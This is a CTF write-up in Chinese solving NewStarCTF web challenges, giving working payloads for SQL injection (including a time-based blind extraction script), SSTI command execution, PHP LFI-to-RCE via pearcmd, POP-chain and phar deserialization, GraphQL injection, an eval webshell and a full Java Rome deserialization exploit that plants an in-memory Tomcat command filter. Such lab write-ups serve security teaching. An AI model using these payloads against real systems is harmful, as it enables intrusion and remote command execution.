题目挺简单的, 但是也学到了一些比较细节的技巧
Week1 Web
HTTP
我真的会谢
右键查看源码, 有一处注释
1
|
<!--I used VIM to write this file, but some errors occurred midway.-->
|
访问 robots.txt 得到第一部分 flag
1
|
Part One: flag{Th1s_Is_s00
|
访问 .index.php.swp 然后执行 vim -r .index.php.swp
得到第二部分 flag
访问 www.zip 解压后打开 secret 得到第三部分 flag
1
|
Part Three: u_th1nk_so?}
|
NotPHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
echo "Hack Me";
eval("#".$_GET['cmd']);
}else{
die("Number error!");
}
}else{
die("Wrong Key!");
}
}else{
die("Pass it!");
}
|
payload 如下
1
2
3
|
http://f2d88e11-4d09-41a3-a6bc-7aff178cd8e1.node4.buuoj.cn:81/?data=data://text/plain,Welcome to CTF&key1[]=123&key2[]=456&cmd=?><?php system($_GET[1]);&1=cat /flag
post: num=2077
|
2077 后面有一个空格
Word-For-You
查询处有 sql 注入
万能密码 'or'1'='1
时间盲注也行, 但有点麻烦, 懒得写了
Week2 Web
Word-For-You(2 Gen)
报错注入
具体 payload 不写了, 基本没有过滤
IncludeOne
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
} Hint: 1219893521
No Hacker!
|
伪随机数漏洞, 利用 php_mt_seed
爆破种子
题目环境是 PHP/7.3.15
本地 echo 第二次生成的随机数
1
2
3
4
5
6
|
<?php
mt_srand(1145146);
mt_rand();
echo mt_rand();
?>
|
最终 payload
1
2
3
|
http://abcc9d59-f41c-49dc-818e-1fd0b9eb54a1.node4.buuoj.cn:81/?file=php://filter/NewStar/read=string.rot13/resource=flag.php
post: guess=1202031004
|
再 rot13 一下就是 flag 了
UnserializeOne
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
|
简单 pop 链构造
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
<?php
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$f = new Sec();
$e = new Start();
$e->func = $f;
$d = new eeee();
$d->obj = $e;
$c = new Easy();
$b = new Sec();
$b->obj = $c;
$b->var = $d;
$a = new Start();
$a->name = $b;
echo serialize($a);
?>
|
ezAPI
下载 www.zip 解压后打开 index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
<?php
error_reporting(0);
$id = $_POST['id'];
function waf($str)
{
if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
return False;
} else {
return True;
}
}
function send($data)
{
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
return $result;
}
if (isset($id)) {
if (waf($id)) {
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
$res = json_decode(send($data));
if ($res->data->users_user_by_pk->name !== NULL) {
echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
} else {
echo "<b>Can't found it!</b><br><br>DEBUG: ";
var_dump($res->data);
}
} else {
die("<b>Hacker! Only Number!</b>");
}
} else {
die("<b>No Data?</b>");
}
?>
|
GraphQL 注入
参考文章 https://blog.csdn.net/m0_51326092/article/details/119887029
虽然有 waf 过滤, 但我们可以通过 $_POST['data']
自定义 $data
, 然后进行查询
查表
1
2
3
4
5
6
7
|
id=1&data={"query":"{
__schema {
types {
name
}
}
}", "variables":null}
|
关注第一个就行
查字段的 payload 怎么都用不了, 于是随便猜了个 flag 字段竟然对了…
1
2
3
4
5
|
id=1&data={"query":"{
ffffllllaaagggg_1n_h3r3_flag {
flag
}
}", "variables":null}
|
Week3 Web
BabySSTI_One
flask ssti
试了下发现 class 关键字被过滤了
然后利用 config request url_for 这些 object 会爆 500, 不知道什么情况
最后找到个 lipsum 能用
1
|
{{lipsum.__globals__['__builtins__']['__import__']('os').popen('ca'+'t /fl'+'ag_in_here ').read()}}
|
IncludeTwo
1
2
3
4
5
6
7
8
9
|
<?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
include($_GET['file'].".php");
}else{
die("Hacker!");
}
|
include 限制了文件后缀, 尝试 data 协议失败, 估计是 php.ini 配置关了 allow_url_include
找了好久发现 p 牛的文章
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
刚好 buuctf 的靶机是用 docker 搭的, 猜测默认环境下应该也会有 pearcmd.php
根据文章所说, docker php 环境下 register_argc_argv
默认为 On
, 也就是说我们可以通过 query-string 来控制 $_SERVER['argv']
, 即执行 pearcmd.php 所需要的参数
payload 如下
1
|
/index.php?file=/usr/local/lib/php/pearcmd&+config-create+/<?=system($_GET[1])?>+/tmp/hello.php
|
p 牛文章里的 payload 把 file 写到后面的位置了, 不过原理差不多, file 以及后面的内容加上构造的 php 代码都会被写进 /tmp/hello.php 中
需要注意参数从 $_SERVER['argv'][1]
开始, 因为 $_SERVER['argv'][0]
的值就是命令本身 (pearcmd.php)
最后包含 /tmp/hello
1
|
http://e8837fc4-0abb-444f-b625-f9ed5b42ec58.node4.buuoj.cn:81/?file=/tmp/hello&1=cat /flag
|
multiSQL
堆叠注入, 过滤了 select insert update delete
使用预编译查询绕过, 查表也可以用 handler 语句
1
|
';set @a=concat("upda","te score set listen=999");prepare st from @a;execute st;handler score open;handler score read next;handler score close;
|
最后访问 verify.php 得到 flag
Maybe You Have To think More
404 页面提示是 thinkphp
输入用户名查询后, 返回头中会设置 cookie
base64 解码结果如下
1
|
O:17:"first\second\user":2:{s:8:"username";s:3:"123";s:8:"password";N;}
|
携带该 cookie 后无论 name 输入什么内容, 返回的信息里用户名都是 123
所以猜测 cookie 处的 tp_user 是反序列化的利用点
网上搜到一个 thinkphp 5.1.x 的反序列化的漏洞, 但是文章中的 exp 一直利用失败
然后找到了 phpggc (类似 ysoserial) 中的利用链
https://github.com/ambionics/phpggc
flag 在环境变量里
Week4 Web
So Baby RCE
1
2
3
4
5
6
7
8
9
10
11
|
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
|
变量 + %0a
绕过
/
得用环境变量去构造, 但是类似 ${PATH:0:1}
这种切片一直用不了, 不知道怎么回事…
最后换成了 sed, 直接把 index.php 中的第六行, 即 }else{
删掉
然后执行命令查看 flag
BabySSTI_Two
懒得写了… 过滤跟上一周的那题差不多
通过方括号去访问对应属性
1
2
|
http://44ad0597-f152-4e7f-820f-5417399b6406.node4.buuoj.cn:81/
?name={{lipsum['__glob''als__']['__buil''tins__']['__impo''rt__']('os')['po''pen']('c''at${IFS}/fl''ag_in_h3r3_52daad').read()}}
|
UnserializeThree
右键源代码可以看到 class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?php
highlight_file(__FILE__);
class Evil{
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}else{
echo "No!";
}
}
}
file_exists($_GET['file']);
|
过滤了尖括号和换行符, 不好直接闭合
但是本地试了下 \r
也可以达到与 \n
类似的效果, 从而跳出 #
的污染
之后就是简单 phar 反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?php
class Evil{
public $cmd;
}
$a = new Evil();
$a->cmd = "\rsystem(\$_GET[1]);";
$phar =new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php XXX __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
|
又一个SQL
提示查询 100, 一开始不知道什么意思, 试了好久才发现是个整数类型的注入…
过滤了 /**/
, 用 /*123*/
绕过
1
|
-100/*123*/union/*123*/select/*123*/group_concat(text),2/*123*/from/*123*/wfy_comments
|
Rome
下载 jar 文件后用 jd-gui 打开
springboot 的项目, helloCTF 方法为反序列化入口点
poc.xml 里面看到了 rome 的依赖
猜测是 rome 反序列化
参考文章 https://www.anquanke.com/post/id/258575
ysoserial 中的利用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
/**
*
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
**/
|
写 payload 的时候把 HashMap 换成了 BadAttributeValueExpException, 前者要写反射比较麻烦
然后参考文章里的代码解决了回显的问题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
|
package com.example.javasec;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.management.BadAttributeValueExpException;
import javax.servlet.Filter;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.Properties;
public class Demo{
public static class Evil extends AbstractTranslet{
static {
try {
Class WebappClassLoaderBaseClz = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase");
Object webappClassLoaderBase = Thread.currentThread().getContextClassLoader();
Field WebappClassLoaderBaseResource = WebappClassLoaderBaseClz.getDeclaredField("resources");
WebappClassLoaderBaseResource.setAccessible(true);
Object resources = WebappClassLoaderBaseResource.get(webappClassLoaderBase);
Class WebResourceRoot = Class.forName("org.apache.catalina.WebResourceRoot");
Method getContext = WebResourceRoot.getDeclaredMethod("getContext", null);
StandardContext standardContext = (StandardContext) getContext.invoke(resources, null);
Filter filter = (servletRequest, servletResponse, filterChain) -> {
InputStream fis = Runtime.getRuntime().exec(servletRequest.getParameter("cmd")).getInputStream();
byte[] buffer = new byte[16];
StringBuilder res = new StringBuilder();
while (fis.read(buffer) != -1) {
res.append(new String(buffer));
buffer = new byte[16];
}
fis.close();
servletResponse.getWriter().write(res.toString());
servletResponse.getWriter().flush();
};
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("A");
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("A");
filterMap.addURLPattern("/*");
standardContext.addFilterMap(filterMap);
standardContext.filterStart();
System.out.println("injected");
}catch (Throwable t){
t.printStackTrace();
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
Class templatesImplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor constructor = templatesImplClass.getDeclaredConstructor(
byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class);
constructor.setAccessible(true);
TemplatesImpl templatesImpl = (TemplatesImpl) constructor.newInstance(
bytecodes, "test", new Properties(), 1, new TransformerFactoryImpl()
);
ToStringBean bean = new ToStringBean(Templates.class, templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", bean);
ByteArrayOutputStream arr = new ByteArrayOutputStream();
try (ObjectOutputStream output = new ObjectOutputStream(arr)){
output.writeObject(badAttributeValueExpException);
}
byte[] base64code = Base64.getEncoder().encode(arr.toByteArray());
String payload = new String(base64code);
System.out.println(payload);
}
public static void setFieldValue(Object obj, String name, Object val) throws Exception{
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, val);
}
}
|
exp 发送前需要 urlencode 一次
最后再次请求, 传参 cmd
Week5 Web
Give me your photo PLZ
.htaccess 解析漏洞
BabySSTI_Three
过滤了下划线和一些关键词, 转成十六进制或者 unicode 绕过
Unsafe Apache
apache 2.4.50, 存在目录遍历和命令执行
So Baby RCE Again
1
2
3
4
5
6
7
8
9
10
11
|
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/bash|curl/i',$_GET["cmd"])){
echo "Hacker!";
}else{
shell_exec($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
|
基本等于没过滤…
先用 echo 写一个 webshell
1
|
cmd=echo "<?php eval(\$_REQUEST[1]);?>" > a.php
|
因为默认的 shell 是 sh, 直接弹会有点问题, 所以要先把命令写到文件里, 然后用 bash 执行
ffll444aaggg 文件权限是 700, 估计要提权
按照正常题目的思路先看一下 SUID
1
|
find / -perm -u=s -type f 2>/dev/null
|
发现 date 命令, 于是尝试用 date 读取 flag
Final round
name 处时间盲注
python 脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
import requests
import time
url = 'http://f4911839-e2b4-40ac-8bcc-4ccfe9d34b73.node4.buuoj.cn:81/comments.php'
dicts = r'{}_AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
flag = 'flag{'
for i in range(6,99999):
for s in dicts:
time.sleep(0.3)
payload = "if(ascii(substr((select(group_concat(text))from(wfy_comments)where(text)regexp('flag')),{},1))={},sleep(0.5),0)".format(i,ord(s))
start_time = time.time()
print(s)
res = requests.post(url,data={'name': payload})
stop_time = time.time()
if stop_time - start_time >= 5:
flag += s
print('FOUND!!!',flag)
break
|